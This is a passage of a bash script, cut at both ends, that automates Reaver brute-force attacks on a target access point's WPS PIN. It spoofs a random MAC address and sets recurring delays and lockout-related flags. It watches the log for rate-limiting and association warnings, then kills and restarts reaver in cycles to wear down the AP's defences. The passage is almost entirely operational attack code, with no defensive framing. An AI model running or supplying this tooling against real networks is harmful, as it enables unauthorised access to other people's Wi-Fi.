echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX9" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY9"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -vv -x 60 -r $RX9:$RY9 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R9 == n || $USE_R9 == N ]] && [[ $USE_LONG9 == y || $USE_LONG9 == Y ]] && [[ $USE_PIN9 == n || $USE_PIN9 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R9 == y || $USE_R9 == Y ]] && [[ $USE_LONG9 == y || $USE_LONG9 == Y ]] && [[ $USE_PIN9 == n || $USE_PIN9 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX9" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY9"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -r $RX9:$RY9 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R9 == n || $USE_R9 == N ]] && [[ $USE_LONG9 == n || $USE_LONG9 == N ]] && [[ $USE_PIN9 == y || $USE_PIN9 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -vv -x 60  --pin=$WPS_PIN9 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R9 == y || $USE_R9 == Y ]] && [[ $USE_LONG9 == n || $USE_LONG9 == N ]] && [[ $USE_PIN9 == y || $USE_PIN9 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX9" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY9"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -vv -x 60 -r $RX9:$RY9 --pin=$WPS_PIN9 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

